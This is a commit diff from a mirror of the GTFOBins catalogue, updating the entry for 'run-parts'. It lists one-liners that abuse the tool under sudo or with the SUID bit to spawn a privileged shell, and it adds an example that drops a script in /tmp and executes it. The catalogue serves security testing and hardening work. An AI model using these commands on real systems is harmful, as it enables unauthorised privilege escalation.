mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
[Update] Run-parts
This commit is contained in:
parent
61314d55d0
commit
cb6a4c4dc4
@ -6,4 +6,10 @@ functions:
|
||||
- code: sudo run-parts --new-session --regex '^sh$' /bin
|
||||
suid:
|
||||
- code: ./run-parts --new-session --regex '^sh$' /bin --arg='-p'
|
||||
command:
|
||||
- description: Execute all executable scripts in a specified directory. In this case, the command runs all scripts in `/tmp/run-parts/`.
|
||||
code: |
|
||||
mkdir -p /tmp/run-parts/
|
||||
printf '#!/bin/sh\n/bin/sh -c "/bin/id > /tmp/id.out"\n' > /tmp/run-parts/id && chmod +x /tmp/run-parts/id
|
||||
run-parts /tmp/run-parts
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user